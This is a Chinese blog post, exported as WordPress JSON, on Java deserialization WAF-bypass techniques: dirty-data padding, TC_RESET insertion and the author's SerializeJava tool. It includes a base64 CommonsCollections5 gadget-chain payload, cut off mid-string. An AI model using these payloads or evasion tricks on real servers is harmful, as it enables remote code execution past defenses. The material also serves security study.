{"id":14,"date":"2025-01-07T22:51:58","date_gmt":"2025-01-07T14:51:58","guid":{"rendered":"http:\/\/byname6.cn\/?p=14"},"modified":"2025-01-07T22:51:59","modified_gmt":"2025-01-07T14:51:59","slug":"java%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e7%bb%95waf-tricks%e5%8f%8a%e4%b8%80%e4%b8%aagui%e5%b7%a5%e5%85%b7","status":"publish","type":"post","link":"http:\/\/byname6.cn\/index.php\/2025\/01\/07\/java%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e7%bb%95waf-tricks%e5%8f%8a%e4%b8%80%e4%b8%aagui%e5%b7%a5%e5%85%b7\/","title":{"rendered":"Java\u53cd\u5e8f\u5217\u5316\u7ed5WAF tricks\u53ca\u4e00\u4e2aGUI\u5de5\u5177"},"content":{"rendered":"\n<p>\u5b66\u8fc7Java,php\u5e8f\u5217\u5316\u77e5\u8bc6\u7684\u5e08\u5085\u4eec\u90fd\u77e5\u9053\uff0cJava\u7684\u5e8f\u5217\u5316\u6d41\u683c\u5f0f\u76f8\u6bd4\u4e8ePHP\u5e8f\u5217\u5316\u6d41\u683c\u5f0f\u8981\u590d\u6742\u8bb8\u591a\uff0c\u4ee5\u81f3\u4e8e\u7ed9\u4f60\u4e00\u6bb5Java\u5e8f\u5217\u5316\u6d41\u6587\u672c\u683c\u5f0f\u9760\u53bb\u770b\u662f\u5b8c\u5168\u4e0d\u77e5\u6240\u4e91\u7684\uff0c\u56e0\u4e3a\u5176\u4e2d\u5145\u6ee1\u4e86\u5404\u79cd\u4e8c\u8fdb\u5236\u6570\u636e\u4ee5\u53ca\u590d\u6742\u7684\u7ed3\u6784\uff0c\u8fd9\u4e5f\u4e00\u5b9a\u7a0b\u5ea6\u5730\u89c4\u8303\u4e86\u8bed\u6cd5\uff0c\u52a0\u5f3a\u4e86\u6027\u80fd\u3002\u8fd9\u4e5f\u51b3\u5b9a\u4e86\u4f20\u8f93\u4e00\u4e9b\u5927\u6570\u636e\u7c7b\u578b\u7684\u5bf9\u8c61\u65f6\uff0cJAVA\u7684\u6027\u80fd\u662f\u8981\u597d\u4e8ePHP\u7684\u3002<\/p>\n\n\n\n<p>\u800c\u63a2\u7d22\u3001\u6bd4\u8f83\u8fd9\u4e24\u79cd\u8bed\u8a00\u7684\u53cd\u5e8f\u5217\u5316\u7ed5WAF\u7684&#8221;\u901a\u7528\u578b\u6f0f\u6d1e&#8221;\u65f6\uff0c\u8fd9\u4e24\u8005\u53cd\u5e8f\u5217\u5316\u7684\u533a\u522b\u4e5f\u51b3\u5b9a\u4e86PHP\uff0cJAVA\u5728\u53cd\u5e8f\u5217\u5316\u7684&#8221;\u901a\u7528\u578b\u6f0f\u6d1e&#8221;\u6f0f\u6d1e\u70b9\u7684\u4e0d\u540c\uff0c\u5982PHP\u53cd\u5e8f\u5217\u5316\u7684\u6f0f\u6d1e\u70b9\u66f4\u591a\u5730\u53d1\u751f\u5728\u5904\u7406\u53cd\u5e8f\u5217\u5316\u7684\u65b9\u6cd5\u4e0a\uff0c\u5982\u7ecf\u5178\u7684__wakeup\u7ed5\u8fc7\uff0cfast destruct\uff1b\u800cJAVA\u53cd\u5e8f\u5217\u5316\u7684\u6f0f\u6d1e\u70b9\u66f4\u591a\u7684\u662f\u7531\u4e8e\u5176\u590d\u6742\u7684\u6570\u636e\u7ed3\u6784\u9020\u6210\u7684\uff0c\u6240\u4ee5\u5728Java\u91cc\u66f4\u53ef\u80fd\u901a\u8fc7\u5bf9\u5176\u6570\u636e\u6d41\u7684\u4fee\u6539\u6765\u7ed5\u8fc7\u4e00\u4e9b\u9632\u5fa1\u673a\u5236\u3002<\/p>\n\n\n\n<p>\u8fd9\u7bc7\u6587\u7ae0\u6536\u96c6\u4e86\u4e00\u4e9bJava\u8bed\u8a00\u53cd\u5e8f\u5217\u5316\u7ed5WAF\u7684\u4e00\u4e9b\u6280\u5de7\uff0c\u4ee5\u53ca\u4ecb\u7ecd\u5176\u539f\u7406\u3002\u8fd9\u91cc\u53ea\u9488\u5bf9\u901a\u7528\u7684JAVA Trick\u8fdb\u884c\u603b\u7ed3\uff0c\u5982Shiro\uff0c\u5176\u5b83\u4e2d\u95f4\u4ef6\u5bfc\u81f4\u7684\u89e3\u6790\u95ee\u9898\u8fd9\u91cc\u6682\u4e0d\u603b\u7ed3\u4e86\u3002(\u4e5f\u8bb8\u8fd8\u6709\u4e00\u4e9b\u9a9a\u59ff\u52bf\u6ca1\u6709\u603b\u7ed3\u5230\uff0c\u540e\u7eed\u5b66\u5230\u4e86\u65b0\u7684\u4f1a\u5f80\u8fd9\u7bc7\u6587\u7ae0\u66f4\u65b0)<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">SerializeJava&#8211;\u4e00\u6b3e\u96c6\u6210\u591a\u79cd\u53cd\u5e8f\u5217\u7ed5WAF\u529f\u80fd\u7684GUI\u5de5\u5177<\/h2>\n\n\n\n<p><a href=\"https:\/\/github.com\/byname66\/SerializeJava\">https:\/\/github.com\/byname66\/SerializeJava<\/a><\/p>\n\n\n\n<p>\u8fd9\u662f\u7b14\u8005\u5f00\u53d1\u7684\u4e00\u6b3ego\u7684GUI\u5de5\u5177\uff0c\u662f\u4e00\u6b3e<strong>\u96c6\u6210\u5c55\u793aJAVA\u5e8f\u5217\u5316\u6d41\u7ed3\u6784\u4ee5\u53ca\u96c6\u6210\u4e00\u952e\u63d2\u5165\u810f\u6570\u636e,UTF\u8fc7\u957f\u7f16\u7801\u7ed5WAF(Utf OverLoad Encoding),\u4fee\u6539\u7c7bSerializeVersionUID\u529f\u80fd\u7684\u56fe\u5f62\u5316\u5de5\u5177\u3002<\/strong><\/p>\n\n\n\n<p>\u672c\u6587\u4e5f\u4f1a\u4f7f\u7528\u5230\u5b83\u3002\u662f\u6211\u7684\u7b2c\u4e00\u6b3e\u8f83\u5927\u7684Go\u9879\u76ee\uff0c\u5e76\u4e14\u4e5f\u5f00\u53d1\u4e86\u8bb8\u4e45\uff0c\u501f\u9274\u4e86P\u795e\u7684Zkar(https:\/\/github.com\/phith0n\/zkar)\uff0c\u81ea\u5199\u4e86\u5e95\u5c42\u4ee3\u7801\u5e76\u4e14\u52a0\u4e86\u4e9b\u529f\u80fd\u5e76\u56fe\u5f62\u5316\u4e86\uff0c\u5e0c\u671b\u5e08\u5085\u4eec\u80fd\u987a\u4fbf\u70b9\u70b9Star\ud83d\ude0a\uff0c\u6709\u95ee\u9898\u53ef\u4ee5\u8054\u7cfb\u6211\uff0c\u540e\u7eed\u5b66\u5230\u4e86\u65b0\u7684\u597d\u7528\u7684\u4e1c\u897f\u4e5f\u4f1a\u5728\u4e0a\u9762\u66f4\u65b0\u52a0\u529f\u80fd\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Trick1.\u63d2\u5165\u810f\u6570\u636e\u7ed5WAF<\/h2>\n\n\n\n<p>\u63d2\u5165\u810f\u6570\u636e\u4e00\u76f4\u662fWAF\u5bf9\u6297\u91cc\u7684\u4e00\u6b65\u5e38\u89c1\u7684\u68cb\uff0c\u5176\u539f\u7406\u5f88\u7b80\u5355\uff1a<strong>\u4e00\u4e9bWAF\u4e3a\u4e86\u7ed9\u7f51\u7ad9\u6027\u80fd\u8ba9\u6b65\u4f1a\u9650\u5236\u68c0\u6d4b\u6570\u636e\u7684\u957f\u5ea6\uff0c<\/strong>\u4e8e\u662f\u6211\u4eec\u53ef\u4ee5\u8ba9\u653b\u51fb\u8f7d\u8377\u957f\u5ea6\u53d8\u957f\uff0c\u63d2\u5165\u65e0\u7528\u7684\u6570\u636e\u3002<\/p>\n\n\n\n<p>\u8981\u70b9\u5c31\u662f\u4e24\u4e2a\uff1a1.\u63d2\u5165\u810f\u6570\u636e\uff0c<strong>2.\u8ba9\u670d\u52a1\u5668\u80fd\u591f\u6210\u529f\u89e3\u6790\u6211\u4eec\u7684\u8bed\u53e5<\/strong>\u3002<\/p>\n\n\n\n<p>\u5728\u6e17\u900f\u6d4b\u8bd5\u4e2d\uff0c\u5bf9\u4e8e\u4e00\u4e9bWAF\uff0c\u63d2\u5165\u810f\u6570\u636e\u53ef\u4ee5\u7b80\u5355\u66b4\u529b\u5730\u968f\u4fbf\u641e\u4e00\u4e2a\u8bf7\u6c42\u53c2\u6570\u5982get\u4e00\u4e2aa\uff0c\u7136\u540e\u5f80\u91cc\u9762\u585e\u810f\u6570\u636e\uff0c\u53ea\u8981\u5199\u5728\u6211\u4eec\u7684\u6267\u884c\u547d\u4ee4\u7684\u53c2\u6570\u4e4b\u524d\u4fbf\u53ef\u4ee5\u8fbe\u5230\u63d2\u5165\u810f\u6570\u636e\u7684\u6548\u679c\u3002<\/p>\n\n\n\n<p>\u5728sql\u6ce8\u5165\u4e2d\uff0c\u53ef\u4ee5\u5728sql\u6ce8\u5165\u8bed\u53e5\u4e2d\u52a0\u5165\u4e00\u6bb5\u6ce8\u91ca\u6bd4\u5982\/*111111111111111*\/\u3002<\/p>\n\n\n\n<p>\u5bf9\u4e8eJava\u5e8f\u5217\u5316\u7684\u6570\u636e\u6d41\uff0c\u6211\u4eec\u53ef\u4ee5\u76f4\u63a5\u5bf9\u5176\u6570\u636e\u6d41\u8fdb\u884c\u66f4\u6539\uff0c\u4ece\u800c\u8fbe\u5230\u63d2\u5165\u810f\u6570\u636e\u7684\u65b9\u5f0f\u3002<\/p>\n\n\n\n<p>\u800c\u5728\u8fd9\u91cc\u53c8\u6709\u4e24\u79cd\u65b9\u5f0f\u53ef\u4f9b\u9009\u62e9\uff0c\u5404\u6709\u4f18\u52a3\uff1a<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">1.1 \u5229\u7528\u53ef\u5e8f\u5217\u5316\u7c7b\u5305\u88f9\u810f\u6570\u636e\u548c\u6076\u610f\u7c7b<\/h3>\n\n\n\n<p><a href=\"https:\/\/gv7.me\/articles\/2021\/java-deserialize-data-bypass-waf-by-adding-a-lot-of-dirty-data\/\">Java\u53cd\u5e8f\u5217\u5316\u6570\u636e\u7ed5WAF\u4e4b\u52a0\u5927\u91cf\u810f\u6570\u636e | \u56de\u5fc6\u98d8\u5982\u96ea<\/a><\/p>\n\n\n\n<p>\u5728\u5e8f\u5217\u5316\u7684\u6570\u636e\u6d41\u76f4\u63a5\u63d2\u5165\u810f\u6570\u636e\u9700\u8981\u8003\u8651\u7684\u95ee\u9898\u4fbf\u662f\uff0c\u5982\u4f55\u8ba9Java\u53cd\u5e8f\u5217\u5316\u7aef\u6210\u529f\u89e3\u6790\u6211\u4eec\u4fee\u6539\u540e\u7684\u5e8f\u5217\u5316\u6d41\u3002<\/p>\n\n\n\n<p>\u8fd9\u91cc\u7ed9\u51fa\u7684\u65b9\u6cd5\u4fbf\u662f\u5229\u7528\u4e00\u4e2a\u53ef\u5e8f\u5217\u5316\u7c7b\u8fbe\u5230\u7c7b\u4f3c\u8fd9\u6837\u7684\u6548\u679c\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>class A{\n    public string var1 = \"aaaaaaaaaaaaaa...\"; \/\/\u5783\u573e\u6570\u636e\n    public object var2 = evil_object; \/\/\u6076\u610f\u5bf9\u8c61\n}<\/code><\/pre>\n\n\n\n<p>\u518d\u6765\u5b9e\u4f8b\u5316\u5e76\u5e8f\u5217\u5316\u5bf9\u8c61A<\/p>\n\n\n\n<p>\u7c7b\u4f3c\u7684\u8fd9\u6837\u65e2\u80fd\u5e8f\u5217\u5316\u53c8\u80fd\u5b58\u50a8\u5bf9\u8c61\u7684\u7c7b\u6bd4\u8f83\u5bb9\u6613\u5728\u96c6\u5408\u7c7b\u4e2d\u5f97\u5230\u5e94\u7528\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>ArrayList\nLinkedList\nHashMap\nLinkedHashMap\nTreeMap\n\u2026\u2026<\/code><\/pre>\n\n\n\n<p>\u6bd4\u5982\u7528arrayList\u6765\u5305\u88f9\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>List&lt;Object&gt; arrayList = new ArrayList&lt;Object&gt;();\narrayList.add(dirtyData);\narrayList.add(gadget);\nnew ObjectOutputStream(new FileOutputStream(\"bypass.ser\")).writeObject(arrayList);<\/code><\/pre>\n\n\n\n<p>\u8fd9\u6837\u7684\u65b9\u6cd5\u5728\u810f\u6570\u636e\u7684\u63d2\u5165\u4e0a\u6bd4\u8f83\u968f\u610f\uff0c\u53ef\u4ee5\u63d2\u5165\u4efb\u610f\u7684\u5b57\u7b26\uff1b\u4f46\u76f8\u5f53\u4e8e\u591a\u53cd\u5e8f\u5217\u5316\u4e86\u4e24\u4e2a\u5bf9\u8c61\uff0c\u5982\u679c\u786c\u662f\u8981\u82db\u523b\u5730\u627e\u8fd9\u4e2a\u65b9\u6cd5\u7684\u7f3a\u70b9\u7684\u8bdd\uff0c\u5c31\u662f\u4e0d\u591f&#8221;\u4f18\u96c5&#8221;\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">1.2 \u5229\u7528\u5e8f\u5217\u5316\u6d41\u7ed3\u6784-\u586b\u5145TC_RESET<\/h3>\n\n\n\n<p>\u60f3\u8981\u7406\u89e3\u8fd9\u4e2a\u65b9\u6cd5\uff0c\u53ef\u4ee5\u5148\u5927\u6982\u5bf9JAVA\u5e8f\u5217\u5316\u6d41\u7684\u7ed3\u6784\u6709\u4e2a\u5927\u6982\u7684\u5370\u8c61\uff1a<\/p>\n\n\n\n<p>\u5b98\u65b9\u6587\u6863\uff1a<\/p>\n\n\n\n<p><a href=\"https:\/\/docs.oracle.com\/javase\/8\/docs\/platform\/serialization\/spec\/protocol.html\">Java Object Serialization Specification: 6 &#8211; Object Serialization Stream Protocol<\/a><\/p>\n\n\n\n<p>\u7f51\u4e0a\u7684\u8be6\u60c5\u4ecb\u7ecd\u5e8f\u5217\u5316\u6d41\u7ed3\u6784\u7684\u6587\u7ae0\u6709\u5f88\u591a\uff0c\u8fd9\u91cc\u7b80\u5355\u4ecb\u7ecd\u4e00\u90e8\u5206\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>stream:\n  magic version contents\n\ncontents:\n  content\n  contents content\n\ncontent:\n  object\n  blockdata\n\nobject:\n  newObject\n  newClass\n  newArray\n  newString\n  newEnum\n  newClassDesc\n  prevObject\n  nullReference\n  exception\n  TC_RESET<\/code><\/pre>\n\n\n\n<p><strong>\u6a2a\u5411\u7684\u8868\u793a\u540c\u65f6\u5305\u542b\uff0c\u7eb5\u5411\u7684\u8868\u793a\u53ea\u5305\u542b\u4e00\u79cd\u3002<\/strong><\/p>\n\n\n\n<p>\u5982stream\u8fd9\u4e2a\u5e8f\u5217\u5316\u6d41\u7684\u9876\u7ea7\u7ed3\u6784\u540c\u65f6\u5305\u542bmagic,version,contents\u3002<\/p>\n\n\n\n<p>contents\u5305\u542b\u4e00\u4e2acontent\u6216\u8005\u5d4c\u5957\u7684contents+content(\u53ef\u4ee5\u7b80\u5355\u5730\u770b\u6210\u4e00\u4e2acontent\u6570\u7ec4)\u3002<\/p>\n\n\n\n<p>\u800ccontent\u5305\u542bobject\u6216\u8005blockdata\u3002object\u5c31\u662f\u5305\u542b\u6211\u4eecJAVA\u5bf9\u8c61\u6700\u91cd\u8981\u7684\u4e00\u4e2a\u7ed3\u6784\u3002<\/p>\n\n\n\n<p>object\u7ed3\u6784\u53ef\u80fd\u4f1a\u662f\u4e00\u4e2a\u5bf9\u8c61\uff0c\u4e00\u4e2a\u7c7b\uff0c\u4e00\u4e2a\u6570\u7ec4\uff0c\u4e00\u4e2a\u5b57\u7b26\u4e32\uff0c\u4e00\u4e2a\u679a\u4e3e\u7c7b\u578b\u2026\u4e00\u4e2a<strong>TC_RESET<\/strong>\u3002<\/p>\n\n\n\n<p>\u8fd9\u4e2aTC_RESET\u5b9a\u4e49\u4e3a\u4e00\u4e2abyte\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/byname.oss-cn-chengdu.aliyuncs.com\/img\/image-20250106215641965.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/byname.oss-cn-chengdu.aliyuncs.com\/img\/image-20250106215641965.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20250106215641965\"\/><\/div><\/figure>\n\n\n\n<p>TC_RESET\u7684\u4f5c\u7528\u662f\u4f5c\u4e3a\u4e00\u4e2a\u6807\u8bc6byte\u6765\u5bf9\u53cd\u5e8f\u5217\u5316\u65f6\u7684handle\u8868\u8fdb\u884c\u91cd\u7f6e\uff0chandle\u8868\u5c31\u662f\u5b58\u50a8\u5e8f\u5217\u5316\u6d41\u4e2d\u5e38\u5e38\u51fa\u73b0\u7684\u7ed3\u6784&#8221;newHandle&#8221;\u7684\u4e00\u4e2a\u8868\uff0c\u201dnewHandle\u201c\u76f8\u5f53\u4e8e\u5f53\u524d\u7ed3\u6784\u4e00\u4e2a\u5730\u5740\uff0c\u7531\u4e00\u4e2auint32\u8868\u793a\uff0c\u4ee5\u4fbf\u4e8e\u540e\u7eed\u5904\u7406\u80fd\u6307\u5411\u8fd9\u4e2a\u7ed3\u6784\u3002<\/p>\n\n\n\n<p>\u6211\u4eec\u53ef\u4ee5\u770b\u770b\u5728Java\u53cd\u5e8f\u5217\u5316\u4e2d\u9047\u5230TC_RESET\u662f\u600e\u4e48\u5904\u7406\u7684\uff1a<\/p>\n\n\n\n<p>ObjectInputStream#readObject0:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>  private Object readObject0(boolean unshared) throws IOException {\n        boolean oldMode = bin.getBlockDataMode();\n        if (oldMode) {\n            int remain = bin.currentBlockRemaining();\n            if (remain &gt; 0) {\n                throw new OptionalDataException(remain);\n            } else if (defaultDataEnd) {\n                throw new OptionalDataException(true);\n            }\n            bin.setBlockDataMode(false);\n        }\n\n        byte tc;\n        while ((tc = bin.peekByte()) == TC_RESET) {    \/\/-------\u5728\u8fd9\u91cc---------\n            bin.readByte();\n            handleReset();\n        }          \/\/-------------------------------\n\n        depth++;\n        try {\n            switch (tc) {\n                case TC_NULL:\n                    return readNull();\n\n                case TC_REFERENCE:\n                    return readHandle(unshared);\n\n                case TC_CLASS:\n                    return readClass(unshared);\n\n                case TC_CLASSDESC:\n                case TC_PROXYCLASSDESC:\n                    return readClassDesc(unshared);\n\n                case TC_STRING:\n                case TC_LONGSTRING:\n                    return checkResolve(readString(unshared));\n\n                case TC_ARRAY:\n                    return checkResolve(readArray(unshared));\n\n                case TC_ENUM:\n                    return checkResolve(readEnum(unshared));\n\n                case TC_OBJECT:\n                    return checkResolve(readOrdinaryObject(unshared));\n\n                case TC_EXCEPTION:\n                    IOException ex = readFatalException();\n                    throw new WriteAbortedException(\"writing aborted\", ex);\n\n                case TC_BLOCKDATA:\n                case TC_BLOCKDATALONG:\n                    if (oldMode) {\n                        bin.setBlockDataMode(true);\n                        bin.peek();             \/\/ force header read\n                        throw new OptionalDataException(\n                            bin.currentBlockRemaining());\n                    } else {\n                        throw new StreamCorruptedException(\n                            \"unexpected block data\");\n                    }\n\n                case TC_ENDBLOCKDATA:\n                    if (oldMode) {\n                        throw new OptionalDataException(true);\n                    } else {\n                        throw new StreamCorruptedException(\n                            \"unexpected end of block data\");\n                    }\n\n                default:\n                    throw new StreamCorruptedException(\n                        String.format(\"invalid type code: %02X\", tc));\n            }\n        } finally {\n            depth--;\n            bin.setBlockDataMode(oldMode);\n        }\n    }<\/code><\/pre>\n\n\n\n<p>\u53ef\u89c1\uff0c\u8c03\u7528readobject0\u8fd9\u4e2a\u5904\u7406\u5e8f\u5217\u5316\u7ed3\u6784\u7684\u65b9\u6cd5\u4e2d\uff0c\u5230\u4e86\u8bfb\u53d6content\u8fd9\u4e00\u6b65\uff0c\u4f1a\u68c0\u6d4b\u7ed3\u6784\u4e2d\u6709\u6ca1\u6709TC_RESET\uff0c\u5e76\u4e14\u8fd8\u662f\u5faa\u73af\u68c0\u6d4b(\u9488\u5bf9\u591a\u4e2acontent)\u3002\u5982\u679c\u6709\uff0c\u6d88\u8017\u8fd9\u4e2aTC_RESET\uff0c\u5e76\u8c03\u7528handleReset()\u6765\u91cd\u7f6ehandle\u8868\u3002<\/p>\n\n\n\n<p>\u5728\u8fd9\u91cc\uff0c\u6211\u4eec\u53ef\u4ee5\u6e05\u695a\u5730\u77e5\u9053\uff0c\u5728\u5e8f\u5217\u5316\u6d41\u4e2d\u6211\u4eec\u5b8c\u5168\u53ef\u4ee5\u63d2\u5165\u591a\u4e2aTC_RESET\u7684content\u6765\u8fdb\u884c\u810f\u6570\u636e\u7684\u63d2\u5165\uff0c\u5e76\u4e14\u53cd\u5e8f\u5217\u5316\u6d41\u7a0b\u4e5f\u80fd\u89e3\u6790\u6b63\u5e38\u3002\u8fd9\u79cd\u63d2\u5165\u65b9\u5f0f\u7684\u597d\u5904\u5c31\u5728\u4e8e\u6211\u4eec\u628a\u810f\u6570\u636e\u653e\u5728\u4e86\u6574\u4e2a\u5e8f\u5217\u5316\u7ed3\u6784\u7684\u6700\u524d\u9762\uff0c\u8fd9\u6837WAF\u5b58\u5728\u957f\u5ea6\u9650\u5236\u7684\u8bdd\uff0c\u5c31\u4f1a\u88ab\u8fd9\u4e9b\u524d\u9762\u7684\u6570\u636e\u6240\u6d88\u8017\u8d44\u6e90\uff0c\u800c\u4e0d\u4f1a\u68c0\u6d4b\u5230\u540e\u9762\u6211\u4eec\u771f\u6b63\u627f\u8f7d\u6076\u610f\u4ee3\u7801\u3001\u7c7b\u7684\u7ed3\u6784\u3002<\/p>\n\n\n\n<p>\u7b14\u8005\u7684SerializeJava\u5de5\u5177\u4fbf\u53ef\u4ee5\u7b80\u5355\u5730\u5229\u7528\u8fd9\u4e2a\u529f\u80fd\uff1a<\/p>\n\n\n\n<p>\u9996\u5148\u8f93\u5165\u60f3\u8981\u6539\u53d8\u7684\u5e8f\u5217\u5316\u6d41base64\u7f16\u7801\u6216\u76f8\u5e94\u6587\u4ef6\u8def\u5f84\uff1a<\/p>\n\n\n\n<p>\u8fd9\u91cc\u4ee5CC5\u7684\u5e8f\u5217\u5316\u6d41\u4e3a\u4f8b\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/byname.oss-cn-chengdu.aliyuncs.com\/img\/image-20250106221921684.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/byname.oss-cn-chengdu.aliyuncs.com\/img\/image-20250106221921684.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20250106221921684\"\/><\/div><\/figure>\n\n\n\n<p>\u8fdb\u5165\u5230Modify STREAM Data\u6a21\u5757\uff0ccheck\u7b2c\u4e00\u4e2a\u529f\u80fd\uff0c\u5e76\u8f93\u5165\u4f60\u60f3\u8981\u63d2\u5165\u7684TC_RESET\u6570\u91cf.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/byname.oss-cn-chengdu.aliyuncs.com\/img\/image-20250106222052798.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/byname.oss-cn-chengdu.aliyuncs.com\/img\/image-20250106222052798.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u70b9\u51fbchange\u6309\u94ae\u540e\u4fbf\u80fd\u751f\u6210\u76f8\u5e94\u7684\u5e8f\u5217\u5316\u6d41base64\u7f16\u7801\u3002<\/p>\n\n\n\n<p>\u4e24\u8005\u5bf9\u6bd4\uff1a<\/p>\n\n\n\n<p>\u539f\u59cb\u6570\u636e\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAAXNyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAKnQADGNvbS5kZW1vLkNDNXQACENDNS5qYXZhdAAEbWFpbnNyACZqYXZhLnV0aWwuQ29sbGVjdGlvbnMkVW5tb2RpZmlhYmxlTGlzdPwPJTG17I4QAgABTAAEbGlzdHEAfgAHeHIALGphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVDb2xsZWN0aW9uGUIAgMte9x4CAAFMAAFjdAAWTGphdmEvdXRpbC9Db2xsZWN0aW9uO3hwc3IAE2phdmEudXRpbC5BcnJheUxpc3R4gdIdmcdhnQMAAUkABHNpemV4cAAAAAB3BAAAAAB4cQB+ABV4c3IANG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5rZXl2YWx1ZS5UaWVkTWFwRW50cnmKrdKbOcEf2wIAAkwAA2tleXEAfgABTAADbWFwdAAPTGphdmEvdXRpbC9NYXA7eHB0AAZrZXlrZXlzcgAqb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5MYXp5TWFwbuWUgp55EJQDAAFMAAdmYWN0b3J5dAAsTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAAVzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHEAfgABeHB2cgARamF2YS5sYW5nLlJ1bnRpbWUAAAAAAAAAAAAAAHhwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5JbnZva2VyVHJhbnNmb3JtZXKH6P9re3zOOAIAA1sABWlBcmdzdAATW0xqYXZhL2xhbmcvT2JqZWN0O0wAC2lNZXRob2ROYW1lcQB+AAVbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZ